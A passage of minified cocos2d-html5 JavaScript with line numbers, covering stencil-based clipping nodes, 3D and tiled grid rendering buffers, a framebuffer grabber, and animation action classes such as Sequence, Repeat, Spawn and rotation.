  561. m))}this.lb=!0}},clear:function(){this.cb.length=0;this.lb=!0}});b.Nd=b.A==b.$?b.SQ:b.RQ;b.Nd.create=function(){return new b.Nd};b.dk=function(a){this.type=a;this.fillColor=this.pg=null;this.lineWidth=0;this.Fj=null;this.lineCap="butt";this.al=this.tF=this.Mx=!1};b.Nd.bI=0;b.Nd.GT=1;b.Nd.Zj=2;b.Kt=-1;b.nP=function(a,c){a.shaderProgram=c;var d=a.children;if(d)for(var e=0;e<d.length;e++)b.nP(d[e],c)};
  562. b.Xb=b.q.extend({xm:0,Nh:!1,md:null,oK:!1,ctor:function(a){b.q.prototype.ctor.call(this);this.md=null;this.xm=0;this.Nh=!1;b.Xb.prototype.G.call(this,a||null)},G:null,ub:"ClippingNode",wW:function(a){this.md=a;this.xm=1;this.Nh=!1;b.Xb.UB=!0;b.Xb.UB&&(b.Kt=b.k.getParameter(b.k.STENCIL_BITS),0>=b.Kt&&b.log("Stencil buffer is not enabled."),b.Xb.UB=!1);return!0},vW:function(a){this.md=a;this.xm=1;this.Nh=!1},ba:function(){b.q.prototype.ba.call(this);this.md.ba()},Qh:function(){b.q.prototype.Qh.call(this);
  563. this.md.Qh()},dg:function(){this.md.dg();b.q.prototype.dg.call(this)},vb:function(){this.md.vb();b.q.prototype.vb.call(this)},T:null,zs:function(a){var c=a||b.k;if(1>b.Kt)b.q.prototype.T.call(this,a);else if(this.md&&this.md.visible)if(b.Xb.Ir=-1,b.Xb.Ir+1==b.Kt)b.Xb.ZD=!0,b.Xb.ZD&&(b.log("Nesting more than "+b.Kt+"stencils is not supported. Everything will be drawn without stencil for this node and its childs."),b.Xb.ZD=!1),b.q.prototype.T.call(this,a);else{b.Xb.Ir++;var d=1<<b.Xb.Ir,e=d|d-1,f=c.isEnabled(c.STENCIL_TEST),
  564. g=c.getParameter(c.STENCIL_WRITEMASK),h=c.getParameter(c.STENCIL_FUNC),k=c.getParameter(c.STENCIL_REF),m=c.getParameter(c.STENCIL_VALUE_MASK),p=c.getParameter(c.STENCIL_FAIL),r=c.getParameter(c.STENCIL_PASS_DEPTH_FAIL),s=c.getParameter(c.STENCIL_PASS_DEPTH_PASS);c.enable(c.STENCIL_TEST);c.stencilMask(d);var u=c.getParameter(c.DEPTH_WRITEMASK);c.depthMask(!1);c.stencilFunc(c.NEVER,d,d);c.stencilOp(this.Nh?c.REPLACE:c.ZERO,c.KEEP,c.KEEP);b.Ee.QM(N(0,0),b.g2(),b.color(255,255,255,255));c.stencilFunc(c.NEVER,
  565. d,d);c.stencilOp(this.Nh?c.ZERO:c.REPLACE,c.KEEP,c.KEEP);if(1>this.xm){var d=b.Ld.nc(b.Hu),t=c.getUniformLocation(d.Mm(),b.II);b.cF(d.Mm());d.Gt(t,this.xm);b.nP(this.md,d)}b.Pm();this.transform();this.md.T();b.Om();c.depthMask(u);c.stencilFunc(c.EQUAL,e,e);c.stencilOp(c.KEEP,c.KEEP,c.KEEP);b.q.prototype.T.call(this,a);c.stencilFunc(h,k,m);c.stencilOp(p,r,s);c.stencilMask(g);f||c.disable(c.STENCIL_TEST);b.Xb.Ir--}else this.Nh&&b.q.prototype.T.call(this,a)},tm:function(a){if(this.md&&this.md.visible){a=
  566. a||b.k;var c=a.canvas;if(this.bB()||this.md instanceof b.Q){var d=b.Xb.lW();d.width=c.width;d.height=c.height;d.getContext("2d").drawImage(c,0,0);a.save();b.q.prototype.T.call(this,a);a.globalCompositeOperation=this.Nh?"destination-out":"destination-in";this.transform(a);this.md.T();a.restore();a.save();a.setTransform(1,0,0,1,0,0);a.globalCompositeOperation="destination-over";a.drawImage(d,0,0)}else{var d=this.s,e;a.save();this.transform(a);this.md.T(a);this.Nh&&(a.save(),a.setTransform(1,0,0,1,0,
  567. 0),a.moveTo(0,0),a.lineTo(0,c.height),a.lineTo(c.width,c.height),a.lineTo(c.width,0),a.lineTo(0,0),a.restore());a.clip();this.bB(!0);var f=d.length;if(0<f){this.Tc();for(c=0;c<f;c++)if(e=d[c],0>e.zb)e.T(a);else break;for(this.Z(a);c<f;c++)d[c].T(a)}else this.Z(a);this.bB(!1)}a.restore()}else this.Nh&&b.q.prototype.T.call(this,a)},x0:function(){return this.md},oG:null,gY:function(a){this.md=a},fY:function(a){this.md=a;var c=b.k;!(a instanceof b.Q)&&a instanceof b.Nd&&(a.Z=function(){var d=b.view.pa,
  568. e=b.view.Ta;c.beginPath();for(var f=0;f<a.cb.length;f++){var g=a.cb[f].pg,h=g[0];c.moveTo(h.x*d,-h.y*e);for(var h=1,k=g.length;h<k;h++)c.lineTo(g[h].x*d,-g[h].y*e)}})},W$:function(){return this.xm},xha:function(a){this.xm=a},dda:function(){return this.Nh},gia:function(a){this.Nh=a},bB:function(a){if(!0===a||!1===a)b.Xb.prototype.oK=a;return b.Xb.prototype.oK}});n=b.Xb.prototype;b.A===b.$?(n.G=n.wW,n.T=n.zs,n.oG=n.gY):(n.G=n.vW,n.T=n.tm,n.oG=n.fY);b.f(n,"stencil",n.x0,n.oG);b.Xb.UB=null;b.Xb.ZD=null;
  569. b.Xb.Ir=null;b.Xb.JL=null;b.Xb.lW=function(){return b.Xb.JL||(b.Xb.JL=document.createElement("canvas"))};b.Xb.create=function(a){return new b.Xb(a)};b.mn=b.ja.extend({jk:!1,ri:0,Y:null,K:null,Ig:null,bo:null,Wl:!1,Hb:null,mB:0,lb:!1,ctor:function(a,c,d){b.fB();this.jk=!1;this.ri=0;this.K=this.Y=null;this.Ig=N(0,0);this.bo=null;this.Wl=!1;this.Hb=null;this.mB=0;this.lb=!1;void 0!==a&&this.Ix(a,c,d)},xf:function(){return this.jk},setActive:function(a){this.jk=a;a||(a=b.D,a.$m(a.qi))},Rba:function(){return this.ri},K3:function(a){this.ri=a},P_:function(){return O(this.Y.width,this.Y.height)},dia:function(a){this.Y.width=parseInt(a.width);this.Y.height=
  570. parseInt(a.height)},WE:function(){return N(this.Ig.x,this.Ig.y)},Uia:function(a){this.Ig.x=a.x;this.Ig.y=a.y},rda:function(){return this.Wl},aja:function(a){this.Wl!=a&&(this.Wl=a,this.bx())},Ix:function(a,c,d){if(!c){var e=b.D.Ws(),f=b.Uj(e.width),g=b.Uj(e.height),h=new Uint8Array(f*g*4);if(!h)return b.log("cocos2d: CCGrid: not enough memory."),!1;c=new b.da;c.at(h,b.da.Si,f,g,e);if(!c)return b.log("cocos2d: CCGrid: error creating texture"),!1}this.jk=!1;this.ri=0;this.Y=a;this.K=c;this.Wl=d||!1;
  571. this.Ig.x=this.K.width/a.width;this.Ig.y=this.K.height/a.height;this.bo=new b.hR;if(!this.bo)return!1;this.bo.I0(this.K);this.Hb=b.Ld.nc(b.Eq);this.bx();return!0},Hs:function(){this.mB=b.D.qi;this.Z2();this.bo.nZ(this.K)},Es:function(a){this.bo.SY(this.K);b.D.$m(this.mB);if(a.Km().sF()){var c=a.kb;b.mp(c.x,c.y);a.Km().jt();b.mp(-c.x,-c.y)}b.te(this.K);this.hE()},hE:function(){b.log("cc.GridBase.blit(): Shall be overridden in subclass.")},ZF:function(){b.log("cc.GridBase.reuse(): Shall be overridden in subclass.")},
  572. bx:function(){b.log("cc.GridBase.calculateVertexPoints(): Shall be overridden in subclass.")},Z2:function(){var a=b.D.Ws();b.k.viewport(0,0,a.width,a.height);b.Di(b.Ri);b.kp();var c=new b.ca;b.yF(c,0,a.width,0,a.height,-1,1);b.lp(c);b.Di(b.Qi);b.kp();b.oP()}});b.mn.create=function(a,c,d){return new b.mn(a,c,d)};
  573. b.nz=b.mn.extend({Kg:null,Ua:null,ij:null,nb:null,Wf:null,bd:null,Pf:null,ctor:function(a,c,d){b.mn.prototype.ctor.call(this);this.Pf=this.bd=this.Wf=this.nb=this.ij=this.Ua=this.Kg=null;void 0!==a&&this.Ix(a,c,d)},$P:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.Grid3D.vertex() : Numbers must be integers");a=0|3*(a.x*(this.Y.height+1)+a.y);var c=this.Ua;return new b.tc(c[a],c[a+1],c[a+2])},Kc:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.Grid3D.originalVertex() : Numbers must be integers");
  574. a=0|3*(a.x*(this.Y.height+1)+a.y);var c=this.ij;return new b.tc(c[a],c[a+1],c[a+2])},Kd:function(a,c){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.Grid3D.setVertex() : Numbers must be integers");var d=0|3*(a.x*(this.Y.height+1)+a.y),e=this.Ua;e[d]=c.x;e[d+1]=c.y;e[d+2]=c.z;this.lb=!0},hE:function(){var a=this.Y.width*this.Y.height;b.Ic(b.Od|b.wn);this.Hb.Mc();this.Hb.It();var c=b.k,d=this.lb;c.bindBuffer(c.ARRAY_BUFFER,this.bd);d&&c.bufferData(c.ARRAY_BUFFER,this.Ua,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.tb,
  575. 3,c.FLOAT,!1,0,0);c.bindBuffer(c.ARRAY_BUFFER,this.Wf);d&&c.bufferData(c.ARRAY_BUFFER,this.Kg,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.yd,2,c.FLOAT,!1,0,0);c.bindBuffer(c.ELEMENT_ARRAY_BUFFER,this.Pf);d&&c.bufferData(c.ELEMENT_ARRAY_BUFFER,this.nb,c.STATIC_DRAW);c.drawElements(c.TRIANGLES,6*a,c.UNSIGNED_SHORT,0);d&&(this.lb=!1);b.cg()},ZF:function(){if(0<this.ri){for(var a=this.ij,c=this.Ua,d=0,e=this.Ua.length;d<e;d++)a[d]=c[d];--this.ri}},bx:function(){var a=b.k,c=this.K.pixelsWidth,d=this.K.pixelsHeight,
  576. e=this.K.O.height,f=this.Y,g=(f.width+1)*(f.height+1);this.Ua=new Float32Array(3*g);this.Kg=new Float32Array(2*g);this.nb=new Uint16Array(f.width*f.height*6);this.bd&&a.deleteBuffer(this.bd);this.bd=a.createBuffer();this.Wf&&a.deleteBuffer(this.Wf);this.Wf=a.createBuffer();this.Pf&&a.deleteBuffer(this.Pf);this.Pf=a.createBuffer();for(var h,k,m=this.nb,p=this.Kg,r=this.Wl,s=this.Ua,g=0;g<f.width;++g)for(h=0;h<f.height;++h){var u=h*f.width+g;k=g*this.Ig.x;var t=k+this.Ig.x,v=h*this.Ig.y,w=v+this.Ig.y,
  577. y=g*(f.height+1)+h,B=(g+1)*(f.height+1)+h,G=(g+1)*(f.height+1)+(h+1),I=g*(f.height+1)+(h+1);m[6*u]=y;m[6*u+1]=B;m[6*u+2]=I;m[6*u+3]=B;m[6*u+4]=G;m[6*u+5]=I;var u=[3*y,3*B,3*G,3*I],E=[{x:k,y:v,z:0},{x:t,y:v,z:0},{x:t,y:w,z:0},{x:k,y:w,z:0}],y=[2*y,2*B,2*G,2*I],t=[N(k,v),N(t,v),N(t,w),N(k,w)];for(k=0;4>k;++k)s[u[k]]=E[k].x,s[u[k]+1]=E[k].y,s[u[k]+2]=E[k].z,p[y[k]]=t[k].x/c,p[y[k]+1]=r?(e-t[k].y)/d:t[k].y/d}this.ij=new Float32Array(this.Ua);a.bindBuffer(a.ARRAY_BUFFER,this.bd);a.bufferData(a.ARRAY_BUFFER,
  578. this.Ua,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.Wf);a.bufferData(a.ARRAY_BUFFER,this.Kg,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.Pf);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.nb,a.STATIC_DRAW);this.lb=!0}});b.nz.create=function(a,c,d){return new b.nz(a,c,d)};
  579. b.nA=b.mn.extend({Kg:null,Ua:null,ij:null,nb:null,Wf:null,bd:null,Pf:null,ctor:function(a,c,d){b.mn.prototype.ctor.call(this);this.Pf=this.bd=this.Wf=this.nb=this.ij=this.Ua=this.Kg=null;void 0!==a&&this.Ix(a,c,d)},LP:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.tile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.Ua;return new b.Du(new b.tc(c[a],c[a+1],c[a+2]),new b.tc(c[a+3],c[a+4],c[a+5]),new b.tc(c[a+6],c[a+7],c[a+8]),new b.tc(c[a+9],c[a+10],c[a+11]))},
  580. eg:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.originalTile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.ij;return new b.Du(new b.tc(c[a],c[a+1],c[a+2]),new b.tc(c[a+3],c[a+4],c[a+5]),new b.tc(c[a+6],c[a+7],c[a+8]),new b.tc(c[a+9],c[a+10],c[a+11]))},$e:function(a,c){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.setTile() : Numbers must be integers");var d=12*(this.Y.height*a.x+a.y),e=this.Ua;e[d]=c.F.x;e[d+1]=c.F.y;e[d+2]=c.F.z;e[d+3]=c.M.x;e[d+
  581. 4]=c.M.y;e[d+5]=c.M.z;e[d+6]=c.L.x;e[d+7]=c.L.y;e[d+8]=c.L.z;e[d+9]=c.J.x;e[d+10]=c.J.y;e[d+11]=c.J.z;this.lb=!0},hE:function(){var a=this.Y.width*this.Y.height;this.Hb.Mc();this.Hb.It();var c=b.k,d=this.lb;b.Ic(b.Od|b.wn);c.bindBuffer(c.ARRAY_BUFFER,this.bd);d&&c.bufferData(c.ARRAY_BUFFER,this.Ua,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.tb,3,c.FLOAT,!1,0,this.Ua);c.bindBuffer(c.ARRAY_BUFFER,this.Wf);d&&c.bufferData(c.ARRAY_BUFFER,this.Kg,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.yd,2,c.FLOAT,!1,0,this.Kg);
  582. c.bindBuffer(c.ELEMENT_ARRAY_BUFFER,this.Pf);d&&c.bufferData(c.ELEMENT_ARRAY_BUFFER,this.nb,c.STATIC_DRAW);c.drawElements(c.TRIANGLES,6*a,c.UNSIGNED_SHORT,0);d&&(this.lb=!1);b.cg()},ZF:function(){if(0<this.ri){for(var a=this.Ua,c=this.ij,d=0;d<a.length;d++)c[d]=a[d];--this.ri}},bx:function(){var a=this.K.pixelsWidth,c=this.K.pixelsHeight,d=this.K.O.height,e=this.Y,f=e.width*e.height;this.Ua=new Float32Array(12*f);this.Kg=new Float32Array(8*f);this.nb=new Uint16Array(6*f);var g=b.k;this.bd&&g.deleteBuffer(this.bd);
  583. this.bd=g.createBuffer();this.Wf&&g.deleteBuffer(this.Wf);this.Wf=g.createBuffer();this.Pf&&g.deleteBuffer(this.Pf);this.Pf=g.createBuffer();var h,k,m=0,p=this.Ig,r=this.Ua,s=this.Kg,u=this.Wl;for(h=0;h<e.width;h++)for(k=0;k<e.height;k++){var t=h*p.x,v=t+p.x,w=k*p.y,y=w+p.y;r[12*m]=t;r[12*m+1]=w;r[12*m+2]=0;r[12*m+3]=v;r[12*m+4]=w;r[12*m+5]=0;r[12*m+6]=t;r[12*m+7]=y;r[12*m+8]=0;r[12*m+9]=v;r[12*m+10]=y;r[12*m+11]=0;var B=w,G=y;u&&(B=d-w,G=d-y);s[8*m]=t/a;s[8*m+1]=B/c;s[8*m+2]=v/a;s[8*m+3]=B/c;s[8*
  584. m+4]=t/a;s[8*m+5]=G/c;s[8*m+6]=v/a;s[8*m+7]=G/c;m++}a=this.nb;for(h=0;h<f;h++)a[6*h+0]=4*h+0,a[6*h+1]=4*h+1,a[6*h+2]=4*h+2,a[6*h+3]=4*h+1,a[6*h+4]=4*h+2,a[6*h+5]=4*h+3;this.ij=new Float32Array(this.Ua);g.bindBuffer(g.ARRAY_BUFFER,this.bd);g.bufferData(g.ARRAY_BUFFER,this.Ua,g.DYNAMIC_DRAW);g.bindBuffer(g.ARRAY_BUFFER,this.Wf);g.bufferData(g.ARRAY_BUFFER,this.Kg,g.DYNAMIC_DRAW);g.bindBuffer(g.ELEMENT_ARRAY_BUFFER,this.Pf);g.bufferData(g.ELEMENT_ARRAY_BUFFER,this.nb,g.DYNAMIC_DRAW);this.lb=!0}});
  585. b.nA.create=function(a,c,d){return new b.nA(a,c,d)};b.hR=b.ja.extend({Vu:null,li:null,TK:null,ao:null,ctor:function(){b.fB();this.ao=b.k;this.TK=[0,0,0,0];this.li=null;this.Vu=this.ao.createFramebuffer()},I0:function(a){var c=this.ao;this.li=c.getParameter(c.FRAMEBUFFER_BINDING);c.bindFramebuffer(c.FRAMEBUFFER,this.Vu);c.framebufferTexture2D(c.FRAMEBUFFER,c.COLOR_ATTACHMENT0,c.TEXTURE_2D,a.Xd,0);c.checkFramebufferStatus(c.FRAMEBUFFER)!=c.FRAMEBUFFER_COMPLETE&&b.log("Frame Grabber: could not attach texture to frmaebuffer");c.bindFramebuffer(c.FRAMEBUFFER,
  586. this.li)},nZ:function(){var a=this.ao;this.li=a.getParameter(a.FRAMEBUFFER_BINDING);a.bindFramebuffer(a.FRAMEBUFFER,this.Vu);this.TK=a.getParameter(a.COLOR_CLEAR_VALUE);a.clearColor(0,0,0,0);a.clear(a.COLOR_BUFFER_BIT|a.DEPTH_BUFFER_BIT)},SY:function(){var a=this.ao;a.bindFramebuffer(a.FRAMEBUFFER,this.li);a.colorMask(!0,!0,!0,!0)},Uo:function(){this.ao.deleteFramebuffer(this.Vu)}});b.fn=-1;
  587. b.fd=b.ja.extend({originalTarget:null,target:null,tag:b.fn,ctor:function(){this.target=this.originalTarget=null;this.tag=b.fn},copy:function(){b.log("copy is deprecated. Please use clone instead.");return this.j()},j:function(){var a=new b.fd;a.originalTarget=null;a.target=null;a.tag=this.tag;return a},Og:function(){return!0},v:function(a){this.target=this.originalTarget=a},stop:function(){this.target=null},step:function(){b.log("[Action step]. override me")},update:function(){b.log("[Action update]. override me")},hca:function(){return this.target},
  588. qG:function(a){this.target=a},zba:function(){return this.originalTarget},Bia:function(a){this.originalTarget=a},XE:function(){return this.tag},pG:function(a){this.tag=a},uy:function(){},Ki:function(){}});b.fd.create=function(){return new b.fd};b.Pi=b.fd.extend({m:0,ctor:function(){b.fd.prototype.ctor.call(this);this.m=0},dp:function(){return this.m*(this.ec||1)},fg:function(a){this.m=a},reverse:function(){b.log("cocos2d: FiniteTimeAction#reverse: Implement me");return null},j:function(){return new b.Pi}});
  589. b.Hq=b.fd.extend({ne:0,ob:null,ctor:function(a,c){b.fd.prototype.ctor.call(this);this.ne=0;this.ob=null;a&&this.aa(a,c)},sx:function(){return this.ne},Ye:function(a){this.ne=a},aa:function(a,c){if(!a)throw"cc.Speed.initWithAction(): action must be non nil";this.ob=a;this.ne=c;return!0},j:function(){var a=new b.Hq;a.aa(this.ob.j(),this.ne);return a},v:function(a){b.fd.prototype.v.call(this,a);this.ob.v(a)},stop:function(){this.ob.stop();b.fd.prototype.stop.call(this)},step:function(a){this.ob.step(a*
  590. this.ne)},Og:function(){return this.ob.Og()},reverse:function(){return b.Hq.create(this.ob.reverse(),this.ne)},hP:function(a){this.ob!=a&&(this.ob=a)},RE:function(){return this.ob}});b.Hq.create=function(a,c){return new b.Hq(a,c)};
  591. b.wu=b.fd.extend({Xn:null,En:!1,jv:!1,Ov:null,ur:null,Rm:0,Wm:0,cn:0,ym:0,bE:null,ctor:function(a,c){b.fd.prototype.ctor.call(this);this.Xn=null;this.jv=this.En=!1;this.ur=this.Ov=null;this.ym=this.cn=this.Wm=this.Rm=0;this.bE=Q(0,0,0,0);a&&(c?this.jp(a,c):this.jp(a))},j:function(){var a=new b.wu,c=this.bE;a.jp(this.Xn,new b.MH(c.x,c.y,c.width,c.height));return a},Zca:function(){return this.En},Bha:function(a){this.En=a},jp:function(a,c){if(!a)throw"cc.Follow.initWithAction(): followedNode must be non nil";
  592. c=c||Q(0,0,0,0);this.Xn=a;this.bE=c;this.En=!b.LC(c);this.jv=!1;var d=b.D.R;this.ur=N(d.width,d.height);this.Ov=b.Ii(this.ur,0.5);this.En&&(this.Rm=-(c.x+c.width-this.ur.x),this.Wm=-c.x,this.cn=-c.y,this.ym=-(c.y+c.height-this.ur.y),this.Wm<this.Rm&&(this.Wm=this.Rm=(this.Rm+this.Wm)/2),this.cn<this.ym&&(this.cn=this.ym=(this.cn+this.ym)/2),this.cn==this.ym&&this.Rm==this.Wm&&(this.jv=!0));return!0},step:function(){var a=this.Xn.x,c=this.Xn.y,a=this.Ov.x-a,c=this.Ov.y-c;this.En?this.jv||this.target.P(b.Sc(a,
  593. this.Rm,this.Wm),b.Sc(c,this.ym,this.cn)):this.target.P(a,c)},Og:function(){return!this.Xn.running},stop:function(){this.target=null;b.fd.prototype.stop.call(this)}});b.wu.create=function(a,c){return new b.wu(a,c)};b.u=b.Pi.extend({mb:0,Jv:!1,Cg:null,ec:1,Zr:!1,to:!1,ne:1,es:!1,ctor:function(a){this.ec=this.ne=1;this.Zr=!1;this.MAX_VALUE=2;this.es=this.to=!1;b.Pi.prototype.ctor.call(this);void 0!==a&&this.d(a)},Caa:function(){return this.mb},d:function(a){this.m=0===a?b.uu:a;this.mb=0;return this.Jv=!0},Og:function(){return this.mb>=this.m},ya:function(a){a.Zr=this.Zr;a.ne=this.ne;a.ec=this.ec;a.Cg=this.Cg;a.es=this.es;a.to=this.to},le:function(a){if(this.Cg){a.Cg=[];for(var c=0;c<this.Cg.length;c++)a.Cg.push(this.Cg[c].reverse())}},
  594. j:function(){var a=new b.u(this.m);this.ya(a);return a},Ka:function(a){this.Cg?this.Cg.length=0:this.Cg=[];for(var c=0;c<arguments.length;c++)this.Cg.push(arguments[c]);return this},hd:function(a){var c=this.Cg;if(!c||0===c.length)return a;for(var d=0,e=c.length;d<e;d++)a=c[d].Ka(a);return a},step:function(a){this.Jv?(this.Jv=!1,this.mb=0):this.mb+=a;a=this.mb/(1.192092896E-7<this.m?this.m:1.192092896E-7);a=1>a?a:1;this.update(0<a?a:0);this.to&&1<this.ec&&this.Og()&&(this.Zr||this.ec--,this.v(this.target),
  595. this.step(this.mb-this.m))},v:function(a){b.fd.prototype.v.call(this,a);this.mb=0;this.Jv=!0},reverse:function(){b.log("cc.IntervalAction: reverse not implemented.");return null},Ym:function(){b.log("cc.ActionInterval.setAmplitudeRate(): it should be overridden in subclass.")},Jm:function(){b.log("cc.ActionInterval.getAmplitudeRate(): it should be overridden in subclass.");return 0},speed:function(a){if(0>=a)return b.log("The speed parameter error"),this;this.es=!0;this.ne*=a;return this},sx:function(){return this.ne},
  596. Ye:function(a){this.ne=a;return this},repeat:function(a){a=Math.round(a);if(isNaN(a)||1>a)return b.log("The repeat parameter error"),this;this.to=!0;this.ec*=a;return this},Q2:function(){this.to=!0;this.ec=this.MAX_VALUE;this.Zr=!0;return this}});b.u.create=function(a){return new b.u(a)};
  597. b.qa=b.u.extend({If:null,NL:null,Hr:0,ctor:function(a){b.u.prototype.ctor.call(this);this.If=[];var c=a instanceof Array?a:arguments,d=c.length-1;0<=d&&null==c[d]&&b.log("parameters should not be ending with null in Javascript");if(0<=d){for(var e=c[0],f=1;f<d;f++)c[f]&&(e=b.qa.Ui(e,c[f]));this.Nm(e,c[d])}},Nm:function(a,c){if(!a||!c)throw"cc.Sequence.initWithTwoActions(): arguments must all be non nil";this.d(a.m+c.m);this.If[0]=a;this.If[1]=c;return!0},j:function(){var a=new b.qa;this.ya(a);a.Nm(this.If[0].j(),
  598. this.If[1].j());return a},v:function(a){b.u.prototype.v.call(this,a);this.NL=this.If[0].m/this.m;this.Hr=-1},stop:function(){-1!==this.Hr&&this.If[this.Hr].stop();b.fd.prototype.stop.call(this)},update:function(a){a=this.hd(a);var c=0,d=this.NL,e=this.If,f=this.Hr;a<d?(a=0!==d?a/d:1,0===c&&1===f&&(e[1].update(0),e[1].stop())):(c=1,a=1===d?1:(a-d)/(1-d),-1===f&&(e[0].v(this.target),e[0].update(1),e[0].stop()),f||(e[0].update(1),e[0].stop()));f===c&&e[c].Og()||(f!==c&&e[c].v(this.target),e[c].update(a),
  599. this.Hr=c)},reverse:function(){var a=b.qa.Ui(this.If[1].reverse(),this.If[0].reverse());this.ya(a);this.le(a);return a}});b.qa.create=function(a){var c=a instanceof Array?a:arguments;0<c.length&&null==c[c.length-1]&&b.log("parameters should not be ending with null in Javascript");for(var d=c[0],e=1;e<c.length;e++)c[e]&&(d=b.qa.Ui(d,c[e]));return d};b.qa.Ui=function(a,c){var d=new b.qa;d.Nm(a,c);return d};
  600. b.Al=b.u.extend({ec:0,Sk:0,jC:0,YI:!1,ob:null,ctor:function(a,c){b.u.prototype.ctor.call(this);void 0!==c&&this.aa(a,c)},aa:function(a,c){return this.d(a.m*c)?(this.ec=c,this.ob=a,a instanceof b.xe&&(this.YI=!0,this.ec-=1),this.Sk=0,!0):!1},j:function(){var a=new b.Al;this.ya(a);a.aa(this.ob.j(),this.ec);return a},v:function(a){this.Sk=0;this.jC=this.ob.m/this.m;b.u.prototype.v.call(this,a);this.ob.v(a)},stop:function(){this.ob.stop();b.fd.prototype.stop.call(this)},update:function(a){a=this.hd(a);
  601. var c=this.ob,d=this.m,e=this.ec,f=this.jC;if(a>=f){for(;a>f&&this.Sk<e;)c.update(1),this.Sk++,c.stop(),c.v(this.target),this.jC=f+=c.m/d;1<=a&&this.Sk<e&&this.Sk++;this.YI||(this.Sk===e?(c.update(1),c.stop()):c.update(a-(f-c.m/d)))}else c.update(a*e%1)},Og:function(){return this.Sk==this.ec},reverse:function(){var a=b.Al.create(this.ob.reverse(),this.ec);this.ya(a);this.le(a);return a},hP:function(a){this.ob!=a&&(this.ob=a)},RE:function(){return this.ob}});
  602. b.Al.create=function(a,c){return new b.Al(a,c)};
  603. b.Bl=b.u.extend({ob:null,ctor:function(a){b.u.prototype.ctor.call(this);this.ob=null;a&&this.aa(a)},aa:function(a){if(!a)throw"cc.RepeatForever.initWithAction(): action must be non null";this.ob=a;return!0},j:function(){var a=new b.Bl;this.ya(a);a.aa(this.ob.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.ob.v(a)},step:function(a){var c=this.ob;c.step(a);c.Og()&&(c.v(this.target),c.step(c.mb-c.m))},Og:function(){return!1},reverse:function(){var a=b.Bl.create(this.ob.reverse());this.ya(a);
  604. this.le(a);return a},hP:function(a){this.ob!=a&&(this.ob=a)},RE:function(){return this.ob}});b.Bl.create=function(a){return new b.Bl(a)};
  605. b.ze=b.u.extend({hj:null,zj:null,ctor:function(a){b.u.prototype.ctor.call(this);this.zj=this.hj=null;var c=a instanceof Array?a:arguments,d=c.length-1;0<=d&&null==c[d]&&b.log("parameters should not be ending with null in Javascript");if(0<=d){for(var e=c[0],f=1;f<d;f++)c[f]&&(e=b.ze.Ui(e,c[f]));this.Nm(e,c[d])}},Nm:function(a,c){if(!a||!c)throw"cc.Spawn.initWithTwoActions(): arguments must all be non null";var d=!1,e=a.m,f=c.m;this.d(Math.max(e,f))&&(this.hj=a,this.zj=c,e>f?this.zj=b.qa.Ui(c,b.pc.create(e-
  606. f)):e<f&&(this.hj=b.qa.Ui(a,b.pc.create(f-e))),d=!0);return d},j:function(){var a=new b.ze;this.ya(a);a.Nm(this.hj.j(),this.zj.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.hj.v(a);this.zj.v(a)},stop:function(){this.hj.stop();this.zj.stop();b.fd.prototype.stop.call(this)},update:function(a){a=this.hd(a);this.hj&&this.hj.update(a);this.zj&&this.zj.update(a)},reverse:function(){var a=b.ze.Ui(this.hj.reverse(),this.zj.reverse());this.ya(a);this.le(a);return a}});
  607. b.ze.create=function(a){var c=a instanceof Array?a:arguments;0<c.length&&null==c[c.length-1]&&b.log("parameters should not be ending with null in Javascript");for(var d=c[0],e=1;e<c.length;e++)null!=c[e]&&(d=b.ze.Ui(d,c[e]));return d};b.ze.Ui=function(a,c){var d=new b.ze;d.Nm(a,c);return d};
  608. b.Eu=b.u.extend({zv:0,fs:0,qJ:0,sB:0,yo:0,rJ:0,ctor:function(a,c,d){b.u.prototype.ctor.call(this);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.u.prototype.d.call(this,a)?(this.zv=c||0,this.sB=d||this.zv,!0):!1},j:function(){var a=new b.Eu;this.ya(a);a.d(this.m,this.zv,this.sB);return a},v:function(a){b.u.prototype.v.call(this,a);var c=a.rotationX%360,d=this.zv-c;180<d&&(d-=360);-180>d&&(d+=360);this.fs=c;this.qJ=d;this.yo=a.rotationY%360;a=this.sB-this.yo;180<a&&(a-=360);-180>a&&(a+=360);
  609. this.rJ=a},reverse:function(){b.log("cc.RotateTo.reverse(): it should be overridden in subclass.")},update:function(a){a=this.hd(a);this.target&&(this.target.rotationX=this.fs+this.qJ*a,this.target.rotationY=this.yo+this.rJ*a)}});b.Eu.create=function(a,c,d){return new b.Eu(a,c,d)};
  610. b.Vj=b.u.extend({gh:0,fs:0,ev:0,yo:0,ctor:function(a,c,d){b.u.prototype.ctor.call(this);void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.u.prototype.d.call(this,a)?(this.gh=c||0,this.ev=d||this.gh,!0):!1},j:function(){var a=new b.Vj;this.ya(a);a.d(this.m,this.gh,this.ev);return a},v:function(a){b.u.prototype.v.call(this,a);this.fs=a.rotationX;this.yo=a.rotationY},update:function(a){a=this.hd(a);this.target&&(this.target.rotationX=this.fs+this.gh*a,this.target.rotationY=this.yo+this.ev*a)},reverse:function(){var a=
  611. b.Vj.create(this.m,-this.gh,-this.ev);this.ya(a);this.le(a);return a}});b.Vj.create=function(a,c,d){var e=new b.Vj;e.d(a,c,d);return e};
